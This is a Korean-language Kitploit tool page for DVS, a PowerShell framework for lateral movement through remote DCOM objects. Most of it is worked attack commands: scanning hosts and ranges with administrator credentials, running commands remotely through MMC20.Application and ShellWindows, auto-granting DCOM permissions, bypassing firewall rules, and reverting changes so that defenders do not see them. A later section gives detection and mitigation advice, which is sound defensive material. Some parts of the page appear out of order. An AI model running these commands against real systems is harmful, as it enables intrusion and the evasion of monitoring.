Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/scorpioneslabs/dvs
ExploitationLateral MovementPost-ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) 일명 교활한 스위스 군용 칼 - DCOM 객체를 이용한 측면 이동

저장소 보기
2564745년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

D(COM) V(ulnerability) S(canner) 일명 교활한 스위스 군용 칼 - DCOM 객체를 사용한 측면 이동

내부 네트워크를 통해 측면 이동을 어떻게 할 수 있을지, 또는 EDR에 경고 없이 원격 시스템과 상호 작용하는 방법에 대해 궁금해한 적이 있나요?
유효한 자격 증명이 있거나 원격 시스템에 접근할 수 있는 활성 세션이 있지만, 알려져 있거나 예상되거나 높은 수준의 모니터링이 되는 방식(예: WMI, 작업 스케줄러, WinRM, PowerShell Remoting)으로 원격으로 프로세스를 실행할 수 없는 상황을 가정해 봅시다.

이러한 시나리오를 위해 DVS 프레임워크가 도움을 줍니다.

DVS 프레임워크는 스위스 군용 칼과 같아서 원격 DCOM 객체의 취약한 기능을 열거하고, 실행하며, 이를 사용한 공격도 수행할 수 있습니다.

이 프레임워크는 "레드 팀" 마인드셋으로 개발되었으며 은밀한 방법을 사용하여 원격 시스템을 손상시킵니다.

DVS 프레임워크는 원격으로 DCOM 액세스를 다시 활성화하고 공격 사용자에게 필요한 권한을 자동으로 부여하여 DCOM에 대한 원격 강화를 우회하는 다양한 방법을 포함합니다.

또한 프레임워크는 원격 시스템의 변경 사항을 공격 전 원래 상태로 되돌려 수비수로부터 이러한 변경을 숨길 수 있습니다.

우리의 주요 통찰력은 이 도구가 aqsome 기술을 통해 취약하지 않은 DCOM 객체를 사용하여 명령을 실행할 수도 있다는 것입니다 (아래 Invoke-RegisterRemoteSchema에 대한 내용 참조).

PowerShell 2.0 이상과 호환됨

Youtube 동영상 PoC: DVS

Disclaimer

이 도구는 테스트 및 교육 목적으로만 제공됩니다. 이 코드의 다른 사용은 허용되지 않습니다. 사용에 따른 책임은 본인에게 있습니다.
저자는 이 도구의 오용에 대해 어떤 책임도 지지 않습니다.
이 도구를 사용함으로써 발생하는 모든 피해는 사용자의 책임임을 동의하는 것입니다.

레지스트리 액세스 - DVS 프레임워크가 해당 프로토콜을 활용하는 방법

  • Remote-Registry access(MS-RRP)

    1. 원격 레지스트리와 상호 작용하기 위해 포트 445를 탐색합니다.
    2. 원격 레지스트리가 활성화되어 있는지 확인합니다.
    3. 원격 레지스트리와 상호 작용합니다.
    4. AutoGrant 모드가 설정된 경우 쓰기 권한을 확인합니다. 그렇지 않으면 읽기 권한을 확인합니다.
  • Standard Registry Provider (원격 레지스트리가 거부된 경우)

    1. WMI를 사용하여 "표준 레지스트리 공급자"와 상호 작용하기 위해 포트 135를 탐색합니다.
    2. StdRegProv에 접근 가능한지 확인합니다.
    3. 표준 레지스트리 공급자와 상호 작용합니다.
    4. AutoGrant 모드가 설정된 경우 쓰기 권한을 확인하고, 그렇지 않으면 읽기 권한을 확인합니다.

이 도구는 왜 이렇게 은밀한가?

DVS 도구는 먼저 다음 단계를 통해 주체 ID가 원격 시스템에 액세스할 수 있는지 확인합니다:

  • 기본 작업

    1. 인증 작업(SkipRegAuth가 설정되지 않은 경우)
      1. 자격 증명이 제공되면 "net-only" 세션을 생성합니다. 그렇지 않으면 현재 로그온된 세션을 사용합니다.
      2. 레지스트리 액세스를 탐색합니다.
    2. DCOM 기능이 활성화되어 있는지 확인합니다.
    3. DCOM 액세스 허용(AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.
    4. 로그온된 사용자/제공된 사용자 및 사용자가 속한 그룹이 (adsi/WindowsIdentity 기능을 통해) DCOM과 상호 작용할 수 있는 권한이 있는지 확인합니다(원격 레지스트리 쿼리를 통해).
    5. 권한 부여(AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.
    6. NetBIOS over TCP(NetAPI32 또는 UDP 패킷 사용)를 사용하여 원격 시스템에서 도메인 이름을 확인합니다. 실패하면 레지스트리(HKLM 또는 HKCU 하이브)를 사용하여 시도합니다.
  • Invoke-DCOMObjectScan

    1. DCOM 객체와 상호 작용
    2. DCOM 객체를 열거하고 취약한 함수를 찾음
    3. 악용 가능성 확인
    4. 실행 페이로드 생성
    5. 취약한 DCOM 객체에 대한 개인 정보 가져오기
  • Get-ExecutionCommand

    1. 실행 페이로드 생성
  • Invoke-ExecutionCommand

    1. DCOM 객체와 상호 작용 시도
    2. 명령 실행
  • Invoke-RegisterRemoteSchema

도구 구성 요소

  • 보안 권한 분석기 - 원격 DCOM 객체에 액세스하기 위한 주체 ID 권한 분석
  • 원격 권한 부여 - 로그온된 사용자에게 원격으로 권한 부여(이미 부여되지 않은 경우)
  • DCOM 스캐너 - 제공된 취약한 함수에 대해 원격/로컬 DCOM 객체를 스캔하고 분석합니다(패턴 및 함수 이름을 지정해야 함). 도구가 취약한 함수를 감지하면 함수에 포함된 인수와 함수가 명령을 실행할 수 있는지 확인합니다.
  • DCOM 명령 생성기 - 원격 시스템에서 실행하기 위해 PowerShell 페이로드 생성
  • 보고서 - 취약한 DCOM 객체에 대한 모든 정보가 포함된 CSV 보고서 생성
  • 명령 실행 - DCOM 객체를 통해 명령 실행

Author

  • Nimrod Levy

라이선스

  • GPL v3

테스트된 시나리오

  • 도메인 외부에서 도메인으로
  • 도메인 내부에서 다른 도메인 가입 시스템으로
  • 도메인에서 도메인 외부로
  • 현재 세션에서 다른 도메인 가입 시스템으로

테스트된 운영 체제

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

크레딧

  • Rafel Ivgi님께 감사드립니다. 멘토링과 도구의 아키텍처 사고를 도와주셨습니다.
  • Yossi Sasi님께 감사드립니다. 스크립트 최적화를 도와주셨습니다.
  • Gleb Glazkov님께 감사드립니다. 완화 및 예방 섹션을 작성해 주셨습니다.

설치:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Invoke-DCOMObjectScan 명령에 대한 자세한 정보
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema 명령에 대한 자세한 정보

Invoke-DCOMObjectScan

Invoke-DCOMObjectScan 함수는 파일에 포함된 패턴 목록이나 정확한 함수 이름을 통해 DCOM 객체를 스캔하고 취약한 함수를 찾을 수 있게 해줍니다.

  • 예시:

    1. 레지스트리를 쿼리하지 않고 공격자 시스템에서 DC01 호스트로 MMC20.Application (ProgID) 객체를 열거하고 스캔합니다.

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    참고: 도구는 ACL 권한을 분석하지 않으며, 성공하면 레지스트리에 언급된 세부 정보(객체 이름, 실행 파일 등)를 제외한 객체의 모든 정보를 확인합니다.

    1. MMC20.Application (ProgID) 객체가 공격자 시스템에서 DC01 호스트로 액세스 가능한지 확인하며, 먼저 DCOM 객체의 액세스 목록을 쿼리하고 확인하지 않습니다.

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. MMC20.Application (ProgID)가 10.211.55.4/24 범위를 통해 적용 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 열거하려고 시도합니다. (현재 로그온된 사용자 세션 사용).

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      

Get-ExecutionCommand

Get-ExecutionCommand 함수는 관련 매개변수와 함께 원격 DCOM 함수와 상호 작용하고 실행되는 PowerShell 페이로드를 생성할 수 있게 해줍니다.

  • 예시:
    1. lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체와 상호 작용할 수 있는 권한이 주체 ID에 있는지 확인한 다음 실행 명령을 생성합니다.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. DCOM 액세스를 확인합니다.
      주체 ID에 필요한 권한이 없거나 DCOM 기능이 비활성화된 경우 도구는 DCOM 기능을 활성화하고 ID 액세스 권한을 부여하며 lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용한 후 실행 명령을 생성합니다.
      마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. ACL 권한을 분석하지 않고 현재 로그온된 세션을 사용하여 10.211.55.1/24 범위를 통해 (ProgID) 객체와 상호 작용을 시도한 다음 실행 명령을 생성합니다.

Invoke-ExecutionCommand

Invoke-ExecutionCommand 함수는 로그온된 사용자 또는 제공된 자격 증명을 사용하여 DCOM 객체를 통해 명령을 실행할 수 있게 해줍니다.

  • 예시:

    1. DCOM 액세스를 확인합니다.
      주체 ID에 필요한 권한이 없거나 DCOM 기능이 비활성화된 경우 도구는 DCOM 기능을 활성화하고 액세스 권한을 부여하며 현재 로그온된 사용자 세션을 사용하여 10.211.55.1/24 범위를 통해 MMC20.Application (ProgID) 객체와 상호 작용하고 다음 명령을 실행합니다:

      1. cmd.exe /c calc 명령 실행

      2. Frame.Top 속성을 1로 설정 마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용을 시도하고 다음 명령을 실행합니다: cmd.exe /c calc.

      root@kitploit:~

Invoke-RegisterRemoteSchema

Invoke-RegisterRemoteSchema 함수는 로그온된 사용자 또는 제공된 자격 증명을 사용하여 다음 DCOM 객체를 통해 명령을 실행할 수 있게 해줍니다:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

참고: 이러한 DCOM 객체는 로컬 시스템 하이브에 대한 액세스가 필요하지 않습니다. 원격 시스템에 액세스할 수 있는 모든 사용자와 함께 발판을 마련할 수 있습니다!

  • 예시:
    1. 현재 로그온된 세션을 사용하여 10.211.55.1/24 범위에서 cmd /c calc 명령을 실행하고 필요한 경우 권한을 부여합니다.

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. 제공된 자격 증명을 사용하여 10.211.55.4 원격 시스템에서 cmd /c calc 명령을 실행합니다.

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

향후 작업

  • 방화벽 규칙을 원격으로 분석 및 변경

완화 및 권장 사항

MITRE Technique: T1021.003 - Remote Services: Distributed Component Object Model

예방

  • 원격 DCOM 액세스 비활성화

    • 고려 사항:
      • DCOM에 종속된 타사 애플리케이션
      • "Windows Management Instrumentation"을 사용한 원격 시스템 관리가 작동하지 않음
      • COM 객체에 문제가 발생할 수 있음
  • 필요하지 않은 경우 원격 레지스트리 액세스 허용 안 함

    두 옵션 모두 가용성에 영향을 주지 않고 기업 환경에서 구현하기 어렵습니다.

    그러나 도메인 원격 관리가 필요하지 않은 엔드포인트(예: 독립 실행형 엔드포인트)에는 좋은 강화 옵션이 될 수 있습니다.

  • Windows Defender 방화벽에서 도메인 및 개인 프로필 활성화

    • DVS 도구는 모든 동적 RPC 연결을 허용하는 방화벽 규칙을 생성하여 이 보안 제어를 우회합니다.
  • 공격 표면을 줄이기 위해 LAPS 사용으로 전환합니다. 도메인의 각 컴퓨터가 다른 로컬 관리자 암호를 가지고 있으면 이 계정을 측면 이동에 사용할 수 없습니다.

  • 사용자 액세스 권한 강화는 이 공격을 방지할 수 있습니다.

    • 그룹 정책 개체를 사용하여 조직은 administrators, users 및 기타 그룹을 목록에서 제거하고 다른 컴퓨터에 대화형으로 로그온하지 않는 중앙 관리를 위한 특수 그룹/사용자로 전환할 수 있습니다.

      root@kitploit:~
      [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
      

      CIS와 같은 공식 강화 가이드에서는 [네트워크에서 이 컴퓨터 액세스]의 권장 설정이 "administrators와 Remote Desktop Users 또는 Authenticated users"입니다. 이 권장 사항은 DVS 도구에 취약합니다.

  • administrators의 권한을 Remote Launch 및 Remote Activation 권한에서 제거하여 DCOM 권한을 강화합니다.

    • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) 구문
  • 호스트 기반 방화벽/애플리케이션 인식 방화벽을 사용하여 컴퓨터 간 DCOM 액세스를 차단합니다. 특히 IT 또는 관리 인프라의 일부가 아닌 컴퓨터의 경우.

  • 애플리케이션 제어 규칙은 취약한 프로세스가 위험한 자식 프로세스를 생성하거나 DLL을 로드하는 것을 방지하는 마지막 보안 제어 계층으로 사용될 수 있습니다.
    예:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    

탐지

  • 다음 위치의 레지스트리 변경 사항 모니터링:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    이 키는 DCOM 권한 설정입니다. 변경된 경우 DVS 도구를 사용한 공격자가 강화를 제거했음을 의미할 수 있습니다.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] 키와 연결된 하위 키 및 레지스트리 값에는 COM 기능을 지원하는 데 필요한 애플리케이션 정보가 포함됩니다. 이 정보는 지원되는 데이터 형식, 호환성 정보, 프로그래밍 식별자, DCOM 및 컨트롤과 같은 항목을 포함합니다." Microsoft 개발자 센터 참조

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    이 키 변경은 DVS 도구가 DCOM 원격 활성화 및 원격 실행 제한을 비활성화했음을 나타낼 수 있습니다.

  • 애플리케이션 인식 방화벽을 사용하여 컴퓨터 간 DCOM 액세스를 차단합니다. 특히 IT 또는 관리 인프라의 일부가 아닌 컴퓨터에서.

  • 침입 방지 시스템(예: Snort, Suricata)을 사용하여 RPC(MS-RPC, MS-RPCE) 및 원격 레지스트리 프로토콜(MS-RRP)을 기반으로 하는 DCOM 프로토콜을 탐지할 수 있습니다.

    • Possible Snort rule
  • 도메인 및 개인 프로필에 대해 차단된 트래픽에 대한 감사 로그를 활성화하여 Windows Defender 방화벽을 모니터링합니다.

  • 다음 키의 변경 사항을 모니터링합니다. 이는 DVS 도구가 Microsoft Defender 방화벽 동적 RPC 제한을 우회하는 규칙을 생성했음을 나타낼 수 있습니다.

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    
  • Windows 이벤트 로그 모니터링:이벤트 감사를 활성화합니다. 성공 및 실패 시 활성화해야 하는 감사 설정: 감사 계정 로그온 이벤트 | 감사 로그온 이벤트 | 감사 개체 액세스 | NTLM 감사

이 레지스트리 키로 이동: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 값이 '1'인 새 DWORD를 생성하고 이름을 ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel 으로 지정합니다.

  • 4624 (성공적인 로그온) - 블루 팀은 원격 시스템에서 DCOM으로의 연결을 포착하기 위해 이벤트 상관 관계를 만들 수 있습니다. 예:
    • 이벤트 ID 4624 - 로그온
    • 계정 이름: SYSTEM
    • 프로세스 이름: C:\Windows\System32\services.exe
  • 4680 (알 수 없는 사용자 또는 잘못된 암호) - 잘못된 사용자나 암호를 사용할 때 발생합니다.
  • 4688 (프로세스 생성) - 관리자 사용자가 위험한 하위 프로세스를 생성하는 취약한 프로세스를 모니터링합니다. 예:
    • 생성자 프로세스 이름: C:\Windows\System32\mmc.exe -> 새 프로세스 이름: C:\Windows\System32\cmd.exe
    • 생성자 프로세스 이름: C:\Windows\System32\svchost.exe -> 새 프로세스 이름: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - 차단될 인바운드 NTLM 트래픽을 감사합니다. 예:
    • 호출 프로세스 이름: C:\Windows\System32\mmc.exe
    • 호출 프로세스 사용자 ID: USER
    • 호출 프로세스 도메인 ID: DOMAIN
  • 8003 (NTLM) - 이 도메인에서 NTLM 인증을 감사합니다. 예:
    • 사용자: User
    • 도메인: DOMAIN
    • 워크스테이션: ATTACKER
    • 프로세스: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • 로그온 유형: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - 서버 %1이(가) 필요한 시간 제한 내에 DCOM에 등록되지 않았습니다.
  • 10014 (Microsoft-Windows-DistributedCOM) - COM+에 대한 원격 활성화 설정이 비활성화되어 CLSID 활성화에 실패했습니다.
  • 10015 (Microsoft-Windows-DistributedCOM) - 권한 부족으로 DCOM 실행에 실패했습니다.
  • 10016 (Microsoft-Windows-DistributedCOM) - 권한 부족으로 DCOM 실행에 실패했습니다. 예:
    • 기본 컴퓨터 권한 설정이 CLSID가 {C2F03A33-21F5-47FA-B4BB-156362A2F239}이고 APPID가 {316CDED5-E4AE-4B15-9113-7055D84DCC97}인 COM 서버 애플리케이션에 대해 사용자 DOMAIN\Scorpiones에게 로컬 활성화 권한을 부여하지 않습니다.
  • 10021 (Microsoft-Windows-DistributedCOM) - APPID {0000000}인 COM 서버 애플리케이션의 시작 및 활성화 보안 설명자가 잘못되었습니다.
도구 다운로드
  1. 다음 DCOM 객체 중 하나와 상호 작용 시도:
    • InternetExplorer.Application - InternetExplorer COM 객체
    • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Internet Explorer에 속한 다른 COM 객체
    • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
    • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
  2. 원격 스키마 등록(예: http://)
  3. 스키마 콘텐츠에서 명령을 실행하도록 스키마 구성
  4. 명령 실행
  • 10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체가 존재하고 액세스 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 확인합니다. (lab\administrator 자격 증명 사용).

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
    
  • 10.211.55.4 IP 주소를 통해 지정된 경로(예: C:\Users\USERNAME\Desktop\DVS\objects.txt)에 저장된 모든 객체를 스캔하고, _다음 구성_으로 lab\administrator 자격 증명을 사용하여 vulnerable.txt와 같은 지정된 파일에 있는 함수 목록을 찾습니다:
    최대 깊이: 4
    최대 결과: 1 (각 객체당 1개 결과)
    AutoGrant 모드: 객체에 대한 액세스 권한이 없거나 DCOM 기능이 비활성화된 경우 DCOM 기능을 활성화하고 관련 DCOM 객체에 자동으로 권한을 부여합니다.
    마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
    
  • 10.211.55.1/24 범위에서 사용 가능한 원격 시스템에 저장된 모든 객체를 스캔하고 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)에 있는 목록에서 잠재적인 취약 함수를 찾고, 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\exclude.txt)에 있는 객체를 제외하며, 동일한 객체의 다른 경로에서 동일한 이름의 속성을 건너뜁니다.
    참고: SkipSameProperyName 플래그는 동일한 속성 이름이 다른 기본 설정(메서드/기타 속성) 또는 다른 깊이 체인으로 존재하는 경우 취약 함수를 놓칠 수 있습니다.

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
    
  • MMC20.Application
    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
    
  • 레지스트리를 쿼리하지 않고 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용을 시도합니다.

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
    
  • PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
  • ACL 권한을 분석하지 않고 현재 로그온된 사용자 세션을 사용하여 MMC20.Application (ProgID) 객체와 상호 작용을 시도하고 다음 명령을 실행합니다: cmd.exe /c calc.

    root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
    
  • Microsoft 공격 표면 감소 규칙을 사용하여 취약한 프로세스가 위험한 자식 프로세스를 생성하는 것을 방지할 수 있습니다.